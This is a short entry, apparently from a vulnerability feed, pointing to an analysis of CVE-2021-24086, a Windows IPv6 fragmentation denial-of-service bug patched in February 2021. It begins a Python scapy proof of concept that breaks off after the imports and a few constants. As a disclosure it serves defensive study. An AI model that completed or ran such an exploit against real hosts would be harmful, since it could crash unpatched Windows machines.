[Analysis of a denial of service vulnerability affecting the IPv6 stack of Windows](https://blog.quarkslab.com/analysis-of-a-windows-ipv6-fragmentation-vulnerability-cve-2021-24086.html).
This issue, whose root cause can be found in the mishandling of IPv6 fragments, was patched by Microsoft in their February 2021 security bulletin.
### Proof of Concept
```python
import sys
import random
from scapy.all import *
FRAGMENT_SIZE = 0x400
LAYER4_FRAG_OFFSET = 0x8
NEXT_HEADER_IPV6_ROUTE = 43
NEXT…
Published on 2024-08-30T12:27:27.331911+00:00
Updated on 2026-09-15T15:36:55.097635+00:00